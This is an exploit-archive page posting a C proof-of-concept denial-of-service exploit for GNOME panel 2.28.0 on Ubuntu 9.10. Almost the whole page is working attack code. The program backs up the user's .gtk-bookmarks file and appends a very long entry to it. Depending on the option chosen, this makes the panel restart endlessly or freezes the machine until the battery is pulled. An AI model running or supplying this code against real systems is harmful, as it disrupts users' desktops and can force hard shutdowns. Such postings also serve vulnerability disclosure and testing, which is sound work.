Home / os / winme

gnomepanel-dos.txt

Posted on 07 January 2010

# Exploit Title: Gnome panel <= 2.28.0 denial of service poc 0-day # Date: 06/01/2009 # Author: Pietro Oliva # Software Link: # Version: 2.28.0 # Tested on: ubuntu 9.10 # CVE : # Code : /********************************************************************************* * Gnome panel <= 2.28.0 denial of service poc 0-day * * by Pietro Oliva <pietroliva@gmail.com> * * * * After executing this poc a backup file will be created * * You can restore it by typing ./paneldos restore * * Using option restart gnome-panel will restart continuously * * Using option totalblock you will need to remove the battery * * After execution click application in the panel, then go to places * * and wait some seconds... * * https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868 * **********************************************************************************/ #include <stdio.h> #include <string.h> int main(int argc, char **argv) { FILE *f; unsigned long i; printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day "); if(!(f=fopen(".gtk-bookmarks","r"))) { printf("%s","file not found! make sure you are running this file from your home directory "); return 1; } fclose(f); if((argv[1]==NULL)) { printf("%s","please specify an argument! "); printf("%s","usage: ./paneldos <option> possible options are: restart totalblock restore "); return 1; } if(((strcmp(argv[1],"restart"))==0)) i=9999; else if((strcmp(argv[1],"totalblock"))==0) i=99999; else if((strcmp(argv[1],"restore"))==0) { if(!(f=fopen(".backup","r"))) { printf("%s","no backup found! make sure you are running this file from your home directory "); return 1; } fclose(f); system("cp .backup .gtk-bookmarks"); printf("%s","succesfully restored! "); return 0; } else { printf("%s","usage: ./paneldos <option> possible options are: restart totalblock restore "); return 1; } if(!(f=fopen(".backup","r"))) { printf("%s","creating backup... "); system("cp .gtk-bookmarks .backup"); } else fclose(f); f=fopen(".gtk-bookmarks","a"); printf("%s","starting... "); fwrite("file:///home ",1,13,f); while(i>0) { fwrite(" a",1,2,f); i--; } fclose(f); printf("%s","done! now click applications in panel, slide to places, wait and see the result! :D "); return 0; }

 

TOP